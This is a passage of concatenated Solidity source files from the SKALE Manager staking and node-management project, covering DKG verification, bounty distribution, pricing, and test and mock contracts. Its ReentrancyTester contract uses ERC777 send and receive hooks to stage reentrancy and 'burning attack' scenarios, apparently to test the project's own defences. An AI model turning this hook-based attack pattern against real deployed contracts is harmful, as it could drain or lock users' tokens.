uint(publicKey[0]); (pkX, ) = ECDH(contractManager.getContract("ECDH")).deriveKey(secretNumber, pkX, uint(publicKey[1])); bytes32 key = bytes32(pkX); // Decrypt secret key contribution uint secret = Decryption(contractManager.getContract("Decryption")).decrypt( complaints[schainId].keyShare, sha256(abi.encodePacked(key)) ); badNode = ( _checkCorrectMultipliedShare(multipliedShare, secret) && multipliedShare.isEqual(complaints[schainId].sumOfVerVec) ? complaints[schainId].fromNodeToComplaint : complaints[schainId].nodeToComplaint ); SkaleDKG(contractManager.getContract("SkaleDKG")).finalizeSlashing(schainId, badNode); } function _checkCorrectMultipliedShare( G2Operations.G2Point memory multipliedShare, uint secret ) private view returns (bool) { if (!multipliedShare.isG2()) { return false; } G2Operations.G2Point memory tmp = multipliedShare; Fp2Operations.Fp2Point memory g1 = G1Operations.getG1Generator(); Fp2Operations.Fp2Point memory share = Fp2Operations.Fp2Point({ a: 0, b: 0 }); (share.a, share.b) = Precompiled.bn256ScalarMul(g1.a, g1.b, secret); require(G1Operations.checkRange(share), "share is not valid"); share.b = G1Operations.negate(share.b); require(G1Operations.isG1(share), "mulShare not in G1"); G2Operations.G2Point memory g2 = G2Operations.getG2Generator(); return Precompiled.bn256Pairing( share.a, share.b, g2.x.b, g2.x.a, g2.y.b, g2.y.a, g1.a, g1.b, tmp.x.b, tmp.x.a, tmp.y.b, tmp.y.a); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleVerifier.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./utils/Precompiled.sol"; import "./utils/FieldOperations.sol"; /** * @title SkaleVerifier * @dev Contains verify function to perform BLS signature verification. */ contract SkaleVerifier is Permissions { using Fp2Operations for Fp2Operations.Fp2Point; /** * @dev Verifies a BLS signature. * * Requirements: * * - Signature is in G1. * - Hash is in G1. * - G2.one in G2. * - Public Key in G2. */ function verify( Fp2Operations.Fp2Point calldata signature, bytes32 hash, uint counter, uint hashA, uint hashB, G2Operations.G2Point calldata publicKey ) external view returns (bool) { require(G1Operations.checkRange(signature), "Signature is not valid"); if (!_checkHashToGroupWithHelper( hash, counter, hashA, hashB ) ) { return false; } uint newSignB = G1Operations.negate(signature.b); require(G1Operations.isG1Point(signature.a, newSignB), "Sign not in G1"); require(G1Operations.isG1Point(hashA, hashB), "Hash not in G1"); G2Operations.G2Point memory g2 = G2Operations.getG2Generator(); require( G2Operations.isG2(publicKey), "Public Key not in G2" ); return Precompiled.bn256Pairing( signature.a, newSignB, g2.x.b, g2.x.a, g2.y.b, g2.y.a, hashA, hashB, publicKey.x.b, publicKey.x.a, publicKey.y.b, publicKey.y.a ); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); } function _checkHashToGroupWithHelper( bytes32 hash, uint counter, uint hashA, uint hashB ) private pure returns (bool) { if (counter > 100) { return false; } uint xCoord = uint(hash) % Fp2Operations.P; xCoord = (xCoord.add(counter)) % Fp2Operations.P; uint ySquared = addmod( mulmod(mulmod(xCoord, xCoord, Fp2Operations.P), xCoord, Fp2Operations.P), 3, Fp2Operations.P ); if (hashB < Fp2Operations.P.div(2) || mulmod(hashB, hashB, Fp2Operations.P) != ySquared || xCoord != hashA) { return false; } return true; } } // SPDX-License-Identifier: AGPL-3.0-only /* Decryption.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @title Decryption * @dev This contract performs encryption and decryption functions. * Decrypt is used by SkaleDKG contract to decrypt secret key contribution to * validate complaints during the DKG procedure. */ contract Decryption { /** * @dev Returns an encrypted text given a secret and a key. */ function encrypt(uint256 secretNumber, bytes32 key) external pure returns (bytes32 ciphertext) { return bytes32(secretNumber) ^ key; } /** * @dev Returns a secret given an encrypted text and a key. */ function decrypt(bytes32 ciphertext, bytes32 key) external pure returns (uint256 secretNumber) { return uint256(ciphertext ^ key); } } // SPDX-License-Identifier: AGPL-3.0-only /* PartialDifferencesTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../delegation/PartialDifferences.sol"; contract PartialDifferencesTester { using PartialDifferences for PartialDifferences.Sequence; using PartialDifferences for PartialDifferences.Value; using SafeMath for uint; PartialDifferences.Sequence[] private _sequences; // PartialDifferences.Value[] private _values; function createSequence() external { _sequences.push(PartialDifferences.Sequence({firstUnprocessedMonth: 0, lastChangedMonth: 0})); } function addToSequence(uint sequence, uint diff, uint month) external { require(sequence < _sequences.length, "Sequence does not exist"); _sequences[sequence].addToSequence(diff, month); } function subtractFromSequence(uint sequence, uint diff, uint month) external { require(sequence < _sequences.length, "Sequence does not exist"); _sequences[sequence].subtractFromSequence(diff, month); } function getAndUpdateSequenceItem(uint sequence, uint month) external returns (uint) { require(sequence < _sequences.length, "Sequence does not exist"); return _sequences[sequence].getAndUpdateValueInSequence(month); } function reduceSequence( uint sequence, uint a, uint b, uint month) external { require(sequence < _sequences.length, "Sequence does not exist"); FractionUtils.Fraction memory reducingCoefficient = FractionUtils.createFraction(a, b); return _sequences[sequence].reduceSequence(reducingCoefficient, month); } function latestSequence() external view returns (uint id) { require(_sequences.length > 0, "There are no _sequences"); return _sequences.length.sub(1); } } // SPDX-License-Identifier: AGPL-3.0-only /* ReentrancyTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "../Permissions.sol"; import "../delegation/DelegationController.sol"; contract ReentrancyTester is Permissions, IERC777Recipient, IERC777Sender { IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bool private _reentrancyCheck = false; bool private _burningAttack = false; uint private _amount = 0; constructor (address contractManagerAddress) public { Permissions.initialize(contractManagerAddress); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensSender"), address(this)); } function tokensReceived( address /* operator */, address /* from */, address /* to */, uint256 amount, bytes calldata /* userData */, bytes calldata /* operatorData */ ) external override { if (_reentrancyCheck) { IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken")); require( skaleToken.transfer(contractManager.getContract("SkaleToken"), amount), "Transfer is not successful"); } } function tokensToSend( address, // operator address, // from address, // to uint256, // amount bytes calldata, // userData bytes calldata // operatorData ) external override { if (_burningAttack) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); delegationController.delegate( 1, _amount, 2, "D2 is even"); } } function prepareToReentracyCheck() external { _reentrancyCheck = true; } function prepareToBurningAttack() external { _burningAttack = true; } function burningAttack() external { IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken")); _amount = skaleToken.balanceOf(address(this)); skaleToken.burn(_amount, ""); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "./delegation/Distributor.sol"; import "./delegation/ValidatorService.sol"; import "./interfaces/IMintableToken.sol"; import "./BountyV2.sol"; import "./ConstantsHolder.sol"; import "./NodeRotation.sol"; import "./Permissions.sol"; import "./Schains.sol"; import "./Wallets.sol"; /** * @title SkaleManager * @dev Contract contains functions for node registration and exit, bounty * management, and monitoring verdicts. */ contract SkaleManager is IERC777Recipient, Permissions { IERC1820Registry private _erc1820; bytes32 constant private _TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; bytes32 constant public ADMIN_ROLE = keccak256("ADMIN_ROLE"); string public version; /** * @dev Emitted when bounty is received. */ event BountyReceived( uint indexed nodeIndex, address owner, uint averageDowntime, uint averageLatency, uint bounty, uint previousBlockEvent, uint time, uint gasSpend ); function tokensReceived( address, // operator address from, address to, uint256 value, bytes calldata userData, bytes calldata // operator data ) external override allow("SkaleToken") { require(to == address(this), "Receiver is incorrect"); if (userData.length > 0) { Schains schains = Schains( contractManager.getContract("Schains")); schains.addSchain(from, value, userData); } } function createNode( uint16 port, uint16 nonce, bytes4 ip, bytes4 publicIp, bytes32[2] calldata publicKey, string calldata name, string calldata domainName ) external { Nodes nodes = Nodes(contractManager.getContract("Nodes")); // validators checks inside checkPossibilityCreatingNode nodes.checkPossibilityCreatingNode(msg.sender); Nodes.NodeCreationParams memory params = Nodes.NodeCreationParams({ name: name, ip: ip, publicIp: publicIp, port: port, publicKey: publicKey, nonce: nonce, domainName: domainName }); nodes.createNode(msg.sender, params); } function nodeExit(uint nodeIndex) external { uint gasTotal = gasleft(); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint validatorId = nodes.getValidatorId(nodeIndex); bool permitted = (_isOwner() || nodes.isNodeExist(msg.sender, nodeIndex)); if (!permitted && validatorService.validatorAddressExists(msg.sender)) { permitted = validatorService.getValidatorId(msg.sender) == validatorId; } require(permitted, "Sender is not permitted to call this function"); nodeRotation.freezeSchains(nodeIndex); if (nodes.isNodeActive(nodeIndex)) { require(nodes.initExit(nodeIndex), "Initialization of node exit is failed"); } require(nodes.isNodeLeaving(nodeIndex), "Node should be Leaving"); (bool completed, bool isSchains) = nodeRotation.exitFromSchain(nodeIndex); if (completed) { SchainsInternal( contractManager.getContract("SchainsInternal") ).removeNodeFromAllExceptionSchains(nodeIndex); require(nodes.completeExit(nodeIndex), "Finishing of node exit is failed"); nodes.changeNodeFinishTime( nodeIndex, now.add( isSchains ? ConstantsHolder(contractManager.getContract("ConstantsHolder")).rotationDelay() : 0 ) ); nodes.deleteNodeForValidator(validatorId, nodeIndex); } _refundGasByValidator(validatorId, msg.sender, gasTotal - gasleft()); } function deleteSchain(string calldata name) external { Schains schains = Schains(contractManager.getContract("Schains")); // schain owner checks inside deleteSchain schains.deleteSchain(msg.sender, name); } function deleteSchainByRoot(string calldata name) external onlyAdmin { Schains schains = Schains(contractManager.getContract("Schains")); schains.deleteSchainByRoot(name); } function getBounty(uint nodeIndex) external { uint gasTotal = gasleft(); Nodes nodes = Nodes(contractManager.getContract("Nodes")); require(nodes.isNodeExist(msg.sender, nodeIndex), "Node does not exist for Message sender"); require(nodes.isTimeForReward(nodeIndex), "Not time for bounty"); require(!nodes.isNodeLeft(nodeIndex), "The node must not be in Left state"); BountyV2 bountyContract = BountyV2(contractManager.getContract("Bounty")); uint bounty = bountyContract.calculateBounty(nodeIndex); nodes.changeNodeLastRewardDate(nodeIndex); uint validatorId = nodes.getValidatorId(nodeIndex); if (bounty > 0) { _payBounty(bounty, validatorId); } emit BountyReceived( nodeIndex, msg.sender, 0, 0, bounty, uint(-1), block.timestamp, gasleft()); _refundGasByValidator(validatorId, msg.sender, gasTotal - gasleft()); } function setVersion(string calldata newVersion) external onlyOwner { version = newVersion; } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); _erc1820.setInterfaceImplementer(address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); } function _payBounty(uint bounty, uint validatorId) private returns (bool) { IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken")); Distributor distributor = Distributor(contractManager.getContract("Distributor")); require( IMintableToken(address(skaleToken)).mint(address(distributor), bounty, abi.encode(validatorId), ""), "Token was not minted" ); } function _refundGasByValidator(uint validatorId, address payable spender, uint spentGas) private { uint gasCostOfRefundGasByValidator = 29000; Wallets(payable(contractManager.getContract("Wallets"))) .refundGasByValidator(validatorId, spender, spentGas + gasCostOfRefundGasByValidator); } } // SPDX-License-Identifier: AGPL-3.0-only /* Distributor.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; import "../Permissions.sol"; import "../ConstantsHolder.sol"; import "../utils/MathUtils.sol"; import "./ValidatorService.sol"; import "./DelegationController.sol"; import "./DelegationPeriodManager.sol"; import "./TimeHelpers.sol"; /** * @title Distributor * @dev This contract handles all distribution functions of bounty and fee * payments. */ contract Distributor is Permissions, IERC777Recipient { using MathUtils for uint; /** * @dev Emitted when bounty is withdrawn. */ event WithdrawBounty( address holder, uint validatorId, address destination, uint amount ); /** * @dev Emitted when a validator fee is withdrawn. */ event WithdrawFee( uint validatorId, address destination, uint amount ); /** * @dev Emitted when bounty is distributed. */ event BountyWasPaid( uint validatorId, uint amount ); IERC1820Registry private _erc1820; // validatorId => month => token mapping (uint => mapping (uint => uint)) private _bountyPaid; // validatorId => month => token mapping (uint => mapping (uint => uint)) private _feePaid; // holder => validatorId => month mapping (address => mapping (uint => uint)) private _firstUnwithdrawnMonth; // validatorId => month mapping (uint => uint) private _firstUnwithdrawnMonthForValidator; /** * @dev Return and update the amount of earned bounty from a validator. */ function getAndUpdateEarnedBountyAmount(uint validatorId) external returns (uint earned, uint endMonth) { return getAndUpdateEarnedBountyAmountOf(msg.sender, validatorId); } /** * @dev Allows msg.sender to withdraw earned bounty. Bounties are locked * until launchTimestamp and BOUNTY_LOCKUP_MONTHS have both passed. * * Emits a {WithdrawBounty} event. * * Requirements: * * - Bounty must be unlocked. */ function withdrawBounty(uint validatorId, address to) external { TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); require(now >= timeHelpers.addMonths( constantsHolder.launchTimestamp(), constantsHolder.BOUNTY_LOCKUP_MONTHS() ), "Bounty is locked"); uint bounty; uint endMonth; (bounty, endMonth) = getAndUpdateEarnedBountyAmountOf(msg.sender, validatorId); _firstUnwithdrawnMonth[msg.sender][validatorId] = endMonth; IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken")); require(skaleToken.transfer(to, bounty), "Failed to transfer tokens"); emit WithdrawBounty( msg.sender, validatorId, to, bounty ); } /** * @dev Allows `msg.sender` to withdraw earned validator fees. Fees are * locked until launchTimestamp and BOUNTY_LOCKUP_MONTHS both have passed. * * Emits a {WithdrawFee} event. * * Requirements: * * - Fee must be unlocked. */ function withdrawFee(address to) external { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); require(now >= timeHelpers.addMonths( constantsHolder.launchTimestamp(), constantsHolder.BOUNTY_LOCKUP_MONTHS() ), "Fee is locked"); // check Validator Exist inside getValidatorId uint validatorId = validatorService.getValidatorId(msg.sender); uint fee; uint endMonth; (fee, endMonth) = getEarnedFeeAmountOf(validatorId); _firstUnwithdrawnMonthForValidator[validatorId] = endMonth; require(skaleToken.transfer(to, fee), "Failed to transfer tokens"); emit WithdrawFee( validatorId, to, fee ); } function tokensReceived( address, address, address to, uint256 amount, bytes calldata userData, bytes calldata ) external override allow("SkaleToken") { require(to == address(this), "Receiver is incorrect"); require(userData.length == 32, "Data length is incorrect"); uint validatorId = abi.decode(userData, (uint)); _distributeBounty(amount, validatorId); } /** * @dev Return the amount of earned validator fees of `msg.sender`. */ function getEarnedFeeAmount() external view returns (uint earned, uint endMonth) { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); return getEarnedFeeAmountOf(validatorService.getValidatorId(msg.sender)); } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); } /** * @dev Return and update the amount of earned bounties. */ function getAndUpdateEarnedBountyAmountOf(address wallet, uint validatorId) public returns (uint earned, uint endMonth) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); uint currentMonth = timeHelpers.getCurrentMonth(); uint startMonth = _firstUnwithdrawnMonth[wallet][validatorId]; if (startMonth == 0) { startMonth = delegationController.getFirstDelegationMonth(wallet, validatorId); if (startMonth == 0) { return (0, 0); } } earned = 0; endMonth = currentMonth; if (endMonth > startMonth.add(12)) { endMonth = startMonth.add(12); } for (uint i = startMonth; i < endMonth; ++i) { uint effectiveDelegatedToValidator = delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, i); if (effectiveDelegatedToValidator.muchGreater(0)) { earned = earned.add( _bountyPaid[validatorId][i].mul( delegationController.getAndUpdateEffectiveDelegatedByHolderToValidator(wallet, validatorId, i)) .div(effectiveDelegatedToValidator) ); } } } /** * @dev Return the amount of earned fees by validator ID. */ function getEarnedFeeAmountOf(uint validatorId) public view returns (uint earned, uint endMonth) { TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); uint currentMonth = timeHelpers.getCurrentMonth(); uint startMonth = _firstUnwithdrawnMonthForValidator[validatorId]; if (startMonth == 0) { return (0, 0); } earned = 0; endMonth = currentMonth; if (endMonth > startMonth.add(12)) { endMonth = startMonth.add(12); } for (uint i = startMonth; i < endMonth; ++i) { earned = earned.add(_feePaid[validatorId][i]); } } // private /** * @dev Distributes bounties to delegators. * * Emits a {BountyWasPaid} event. */ function _distributeBounty(uint amount, uint validatorId) private { TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); uint currentMonth = timeHelpers.getCurrentMonth(); uint feeRate = validatorService.getValidator(validatorId).feeRate; uint fee = amount.mul(feeRate).div(1000); uint bounty = amount.sub(fee); _bountyPaid[validatorId][currentMonth] = _bountyPaid[validatorId][currentMonth].add(bounty); _feePaid[validatorId][currentMonth] = _feePaid[validatorId][currentMonth].add(fee); if (_firstUnwithdrawnMonthForValidator[validatorId] == 0) { _firstUnwithdrawnMonthForValidator[validatorId] = currentMonth; } emit BountyWasPaid(validatorId, amount); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDKGTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; contract SkaleDKGTester is SkaleDKG { function setSuccessfulDKGPublic(bytes32 schainId) external { lastSuccesfulDKG[schainId] = now; channels[schainId].active = false; KeyStorage(contractManager.getContract("KeyStorage")).finalizePublicKey(schainId); emit SuccessfulDKG(schainId); } } // SPDX-License-Identifier: AGPL-3.0-only /* NodesTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../Nodes.sol"; contract NodesTester is Nodes { function removeNodeFromSpaceToNodes(uint nodeIndex) external { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _removeNodeFromSpaceToNodes(nodeIndex, space); } function removeNodesFromPlace(uint place, uint nodesAmount) external { SegmentTree.Tree storage tree = _getNodesAmountBySpace(); tree.removeFromPlace(place, nodesAmount); } function amountOfNodesFromPlaceInTree(uint place) external view returns (uint) { SegmentTree.Tree storage tree = _getNodesAmountBySpace(); return tree.sumFromPlaceToLast(place); } } // SPDX-License-Identifier: AGPL-3.0-only /* Pricing.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./Nodes.sol"; /** * @title Pricing * @dev Contains pricing operations for SKALE network. */ contract Pricing is Permissions { uint public constant INITIAL_PRICE = 5 * 10**6; uint public price; uint public totalNodes; uint public lastUpdated; function initNodes() external { Nodes nodes = Nodes(contractManager.getContract("Nodes")); totalNodes = nodes.getNumberOnlineNodes(); } /** * @dev Adjust the schain price based on network capacity and demand. * * Requirements: * * - Cooldown time has exceeded. */ function adjustPrice() external { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); require(now > lastUpdated.add(constantsHolder.COOLDOWN_TIME()), "It's not a time to update a price"); checkAllNodes(); uint load = _getTotalLoad(); uint capacity = _getTotalCapacity(); bool networkIsOverloaded = load.mul(100) > constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity); uint loadDiff; if (networkIsOverloaded) { loadDiff = load.mul(100).sub(constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity)); } else { loadDiff = constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity).sub(load.mul(100)); } uint priceChangeSpeedMultipliedByCapacityAndMinPrice = constantsHolder.ADJUSTMENT_SPEED().mul(loadDiff).mul(price); uint timeSkipped = now.sub(lastUpdated); uint priceChange = priceChangeSpeedMultipliedByCapacityAndMinPrice .mul(timeSkipped) .div(constantsHolder.COOLDOWN_TIME()) .div(capacity) .div(constantsHolder.MIN_PRICE()); if (networkIsOverloaded) { assert(priceChange > 0); price = price.add(priceChange); } else { if (priceChange > price) { price = constantsHolder.MIN_PRICE(); } else { price = price.sub(priceChange); if (price < constantsHolder.MIN_PRICE()) { price = constantsHolder.MIN_PRICE(); } } } lastUpdated = now; } /** * @dev Returns the total load percentage. */ function getTotalLoadPercentage() external view returns (uint) { return _getTotalLoad().mul(100).div(_getTotalCapacity()); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); lastUpdated = now; price = INITIAL_PRICE; } function checkAllNodes() public { Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint numberOfActiveNodes = nodes.getNumberOnlineNodes(); require(totalNodes != numberOfActiveNodes, "No changes to node supply"); totalNodes = numberOfActiveNodes; } function _getTotalLoad() private view returns (uint) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); uint load = 0; uint numberOfSchains = schainsInternal.numberOfSchains(); for (uint i = 0; i < numberOfSchains; i++) { bytes32 schain = schainsInternal.schainsAtSystem(i); uint numberOfNodesInSchain = schainsInternal.getNumberOfNodesInGroup(schain); uint part = schainsInternal.getSchainsPartOfNode(schain); load = load.add( numberOfNodesInSchain.mul(part) ); } return load; } function _getTotalCapacity() private view returns (uint) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); return nodes.getNumberOnlineNodes().mul(constantsHolder.TOTAL_SPACE_ON_NODE()); } } // SPDX-License-Identifier: AGPL-3.0-only /* SchainsInternalMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SchainsInternal.sol"; contract SchainsInternalMock is SchainsInternal { function removePlaceOfSchainOnNode(bytes32 schainHash, uint nodeIndex) external { delete placeOfSchainOnNode[schainHash][nodeIndex]; } function removeNodeToLocked(uint nodeIndex) external { mapping(uint => bytes32[]) storage nodeToLocked = _getNodeToLockedSchains(); delete nodeToLocked[nodeIndex]; } function removeSchainToExceptionNode(bytes32 schainHash) external { mapping(bytes32 => uint[]) storage schainToException = _getSchainToExceptionNodes(); delete schainToException[schainHash]; } } // SPDX-License-Identifier: AGPL-3.0-only /* LockerMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../interfaces/delegation/ILocker.sol"; contract LockerMock is ILocker { function getAndUpdateLockedAmount(address) external override returns (uint) { return 13; } function getAndUpdateForbiddenForDelegationAmount(address) external override returns (uint) { return 13; } } // SPDX-License-Identifier: AGPL-3.0-only /* MathUtilsTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero 